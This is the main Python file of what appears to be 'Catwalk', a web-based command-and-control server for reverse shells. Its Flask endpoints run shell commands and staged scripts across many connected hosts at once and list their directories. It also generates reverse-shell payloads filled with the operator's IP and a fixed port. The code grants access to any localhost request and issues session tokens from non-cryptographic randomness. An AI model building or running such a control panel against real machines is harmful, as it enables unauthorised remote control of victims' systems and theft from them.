-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
460 lines (349 loc) · 14 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
import random, argparse
import logging as pylogging
from flask_socketio import SocketIO
from flask import Flask
import threading
from flask import *
from core.server import shellServer
import random, json, base64, os, bcrypt
from core.printl import *
from core.plugin import CatwalkPlugins, CatwalkManagers
app = Flask(__name__)
sktio = SocketIO(app)
allowed = []
def getOuis(shell):
"""
i am so fed up of js and their includes n shit so im just gonna mkae this
"""
def genRandColor(): return "rgb({},{},{})".format(random.randint(0, 128),random.randint(0, 128),random.randint(0, 128))
data = {
"labels": [],
"datasets": [{
"data": [],
"backgroundColor": [],
"borderWidth": 1,
"borderColor": 'transparent'
}]
}
ouis = {}
if len(shell.info) == 0:
return data
for client in shell.info:
oui = shell.info[client]["oui"]
if oui not in ouis:
ouis[oui] = 1
if oui not in ouiColors:
ouiColors[oui] = genRandColor()
else:
ouis[oui] += 1
for i in ouis:
data["labels"].append(i)
data["datasets"][0]["data"].append(ouis[i])
data["datasets"][0]["backgroundColor"].append(ouiColors[i])
return data
def isAllowed(request):
global allowed
if request.cookies.get("Authentication", "0") in allowed:
return True
else:
if request.remote_addr == "127.0.0.1":
return True # its localhost, if its not you they already have access to ur machine so its whatever
return False
@app.route("/")
def index():
if not isAllowed(request): return redirect(url_for('login'), code=302)
return open("./core/http/index.html", "r").read()
@app.route("/login")
def login():
return open("./core/http/login.html", "r").read()
@app.route("/plugin")
def ppage():
return open("./core/http/plugin.html", "r").read()
@app.route("/api/login", methods=["POST"])
def loginAPI():
a = request.get_json(force=True)
loginData = json.loads(open("config.json", "r").read())["login"]
if a.get("user", False) == loginData["username"]:
pw = a.get("pass", "False").encode('ascii')
hash = loginData["hash"].encode('ascii')
if bcrypt.checkpw(pw, hash):
# v # not cryptographically safe but its whatever
token = ''.join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890") for _ in range(256)])
resp = make_response("success")
resp.set_cookie('Authentication', token)
allowed.append(token)
warn("[LOGIN] successful login from {}".format(request.remote_addr))
return resp
# v # is it the username? the password? you will never know
else:
warn("[LOGIN] unsuccessful login from {}".format(request.remote_addr))
return "failed"
else:
warn("[LOGIN] unsuccessful login from {}".format(request.remote_addr))
return "failed"
@app.route("/shell")
def shellhtml():
if not isAllowed(request): return redirect(url_for('login'), code=302)
return open("./core/http/shell.html", "r").read()
@app.route("/api/data/clients")
def clientData():
if not isAllowed(request): return {"failure": "login"}
a = shell.info.copy()
a.update({"ouis": getOuis(shell)})
return a
@app.route("/api/data/plugins")
def availablePlugins():
if not isAllowed(request): return {"failure": "login"}
return pluginData
@app.route("/api/data/host")
def hostData():
if not isAllowed(request): return {"failure": "login"}
return {
"ip": args.ip,
"upload": "11194",
"modules": shell.listeners
}
@app.route("/api/shell/run", methods=["POST"])
def runcmd():
if not isAllowed(request): return {"failure": "login"}
a = request.get_json(force=True)
if a["command"].split(" ")[0] in ["curl"]:
a["command"] += ";echo 0"
if type(a["uid"]) != list:
dta = shell.runCommand(a["uid"], a["command"], _async=a.get("async", False))
else:
for x in a["uid"]:
shell.runCommand(x, a["command"], _async=True)
info("executed command \"{}\" on {} hosts".format(a["command"], len(a["uid"])))
return "executed command \"{}\" on {} hosts".format(a["command"], len(a["uid"]))
if type(dta) == str:
print(dta)
return dta
else:
return "ok"
@app.route("/api/shell/stage", methods=["POST"])
def runstage():
if not isAllowed(request): return {"failure": "login"}
a = request.get_json(force=True)
stage = a["stage"]
if type(a["uid"]) != list:
dta = shell.runStage(a["uid"], stage)
else:
for x in a["uid"]:
shell.runStage(x, stage)
info("executed stage \"{}\" on {} hosts".format(a["stage"], len(a["uid"])))
return "executed stage \"{}\" on {} hosts".format(a["stage"], len(a["uid"]))
return dta
@app.route("/api/shell/get_stages", methods=["GET"])
def get_stages():
if not isAllowed(request): return {"failure": "login"}
stagesDict = {}
stages = [x for x in os.listdir("./stages") if ".stage" in x]
for x in stages:
description = ""
recordingDesc = False
with open("./stages/{}".format(x), "r") as f:
data = f.read().split("\n")
# shitily extract the description from the stage file
for ln in data:
if ln == '"""':
recordingDesc = not recordingDesc
if recordingDesc == False:
break
continue
if recordingDesc:
description += ln + "\n"
if len(description) == 0: description = "No description provided."
stagesDict[x] = {"description": description}
return stagesDict
@app.route("/api/shell/ls", methods=["POST"])
def ls():
"""TODO: clean this function up"""
if not isAllowed(request): return {"failure": "login"}
a = request.get_json(force=True)
directory = {}
windows = shell.info[a["uid"]]["os"] == "Windows"
shtype = shell.info[a["uid"]]["shelltype"]
pwd = a.get("pwd", None)
files = False
command = ""
if pwd == None:
if shtype == "command prompt":
pwd = shell.runCommand(a["uid"], "echo %cd%")
else:
pwd = shell.runCommand(a["uid"], "pwd")
if shtype == "powershell":
print(pwd.split("\n"))
pwd = pwd.split("\n")[2]
if "dbg" in pwd:
return {"pwd": "/home", "directory": {}}
if windows:
pwd = pwd.replace("/", "\\") # windows doesn't like forwardslashes
command += "dir"
if pwd != None or pwd != "current":
command += ' "'+pwd+'"'
else:
pwd = pwd.replace("\\", "/") # linux doesn't like backslashes
command = "ls -la | awk '{printf \"%s |y1| \", $0}';" # because ptys are wonky...
if pwd != None or pwd != "current":
command = "ls -la \""+pwd+"\" | awk '{printf \"%s |y1| \", $0}';" # because ptys are wonky 2...
print(command)
dta = shell.runCommand(a["uid"], command)
if "Directory: " in dta:
windows = True
print("ls: {}".format(dta))
if not windows:
dta = dta.replace("|y1|", "\n")
for x in dta.split("\n"):
if len(x) == 0: continue
if windows:
if shtype == "powershell":
if "Directory: " in x:
pwd = x.split("Directory:", 1)[-1].strip()
else:
if x.split(" ")[0] == "----": files = True; continue
if files:
b = [z for z in x]
b.pop(0)
if "." in ''.join(b):
directory[x.strip().split(" ")[-1]] = "file"
else:
directory[x.strip().split(" ")[-1]] = "folder"
else:
if "Directory of " in x:
pwd = x.split("Directory of ", 1)[-1].strip()
else:
if x[0] == " ": continue
if x[0] in [x for x in "0123456789"]: files = True;
if files:
nm = x[39:]
if "File(s)" in x:
files = False
continue
if "<DIR>" in x:
if nm.strip() == "." or nm.strip() == "..": continue
directory[nm.strip()] = "folder"
else:
directory[nm.strip()] = "file"
else: # unix
print(x.strip())
if x.strip()[0] == "d":
if (x.strip().split(" ")[-1])[-1] == ".":
continue
directory[x.strip().split(" ")[-1]] = "folder"
elif x.strip()[0] == "-":
directory[x.strip().split(" ")[-1]] = "file"
return {"pwd": pwd, "directory": directory}
@app.route("/api/shell/delete", methods=["POST"])
def delete():
if not isAllowed(request): return {"failure": "login"}
a = request.get_json(force=True)
if type(a["uid"]) != list:
shell.killUID(a["uid"])
else:
for x in a["uid"]:
info('blacklisted child {}, since we can\'t delete'.format(x))
shell.killUID(x)
return "killed {} hosts".format(len(a["uid"]))
return "ok"
# payload generation
@app.route("/api/generate/hoaxshell", methods=["POST"])
def hoaxshellPLGen():
"""DEPRECIATED"""
if not isAllowed(request): return {"failure": "login"}
a = request.get_json(force=True)
return "None"
@app.route("/api/host/dbg", methods=["POST"])
def opendbg():
global dbgCount
if not isAllowed(request): return {"failure": "login"}
a = request.get_json(force=True)
if int(a["count"]) >= 5:
a["count"] = "5"
dbgCount += 1
if dbgCount == 5: return "ok"
threading.Thread(target=runDBG, args=(a["count"],), daemon=True).start()
return "ok"
@app.route("/api/generate/payload", methods=["POST"])
def normalPLGen():
if not isAllowed(request): return {"failure": "login"}
a = request.get_json(force=True)
payloads = json.loads(open("./core/payloads.json", "r").read())
# check if payload is in json file
if a["payload"] not in list(payloads):
return "invalid payload"
else:
b = payloads[a["payload"]]
b["command"] = (base64.b64decode(b["command"].encode('ascii')).decode('ascii')).replace("{ip}", args.ip).replace("{port}", "7763").replace("{shell}", a.get("shell", "bash")) # LOTTA SPLICING AND COULD'VE PROBABLY BEEN DONE WITH REGEX BUT WHO CARES
return b
@app.route("/api/generate/list", methods=["GET"])
def getPayloads():
if not isAllowed(request): return {"failure": "login"}
payloads = []
payloads += list(json.loads(open("./core/payloads.json", "r").read())) # normal payloads
return {"payloads": payloads}
@app.route("/api/generate/message", methods=["GET"])
def randMessage():
if not isAllowed(request): return {"failure": "login"}
"""
just a tiny little function to add a changing motd
"""
msgs = [
"waka waka"
]
return random.choice(msgs)
@app.route('/favicon.ico')
def favicon():
return send_from_directory('./core/http/icons', 'catwalk.ico',mimetype='image/vnd.microsoft.icon')
@app.route('/core/<path:req_path>')
def coreDir(req_path):
if not isAllowed(request): return redirect(url_for('login'), code=302)
BASE_DIR = './core/http/'
# Joining the base and the requested path
abs_path = os.path.join(BASE_DIR, req_path.replace("/..", ""))
# Return 404 if path doesn't exist
if not os.path.exists(abs_path):
return abort(404)
# Check if path is a file and serve
if os.path.isfile(abs_path):
return send_file(abs_path)
else:
return abort(404)
def runDBG(count):
os.system("python3 ./debug/clients/fakeclient.py 7763 {}".format(count))
# init required servers
if __name__ == "__main__":
# init flask, and flask plugins
mgrs = CatwalkManagers()
wsock = None
flasklog = pylogging.getLogger('werkzeug')
flasklog.setLevel(pylogging.ERROR)
for _, manager in mgrs.modules.items():
mgrs.run(manager["module"], "startServer", sktio)
# init args
parser = argparse.ArgumentParser()
parser.add_argument("--port", "-p",
help="port")
parser.add_argument("ip",
help="IP address to bind to.")
args = parser.parse_args()
# variables
port = int(args.port) if args.port != None else random.randint(17000, 25535)
ip = args.ip # for easier, future refrences
shell = shellServer(mgrs, sktio)
ouiColors = {}
pluginData = {}
dbgCount = 0
print("-" * 30)
webPlugins = CatwalkPlugins()
for name, plug in webPlugins.modules.items():
bp = webPlugins.getvar(plug["module"], "blueprint")
pname = webPlugins.getvar(plug["module"], "name")
pdesc = webPlugins.getvar(plug["module"], "description")
mainEP = webPlugins.getvar(plug["module"], "mainpage")
buttons = webPlugins.getvar(plug["module"], "customButtons")
if mainEP[0] != '/':
mainEP = '/'+mainEP
pluginData[pname] = {"endpoint": mainEP, "desc": pdesc, "buttons": buttons}
app.register_blueprint(bp, url_prefix="/plugins")
sktio.run(app, host="0.0.0.0", port=80, debug=False)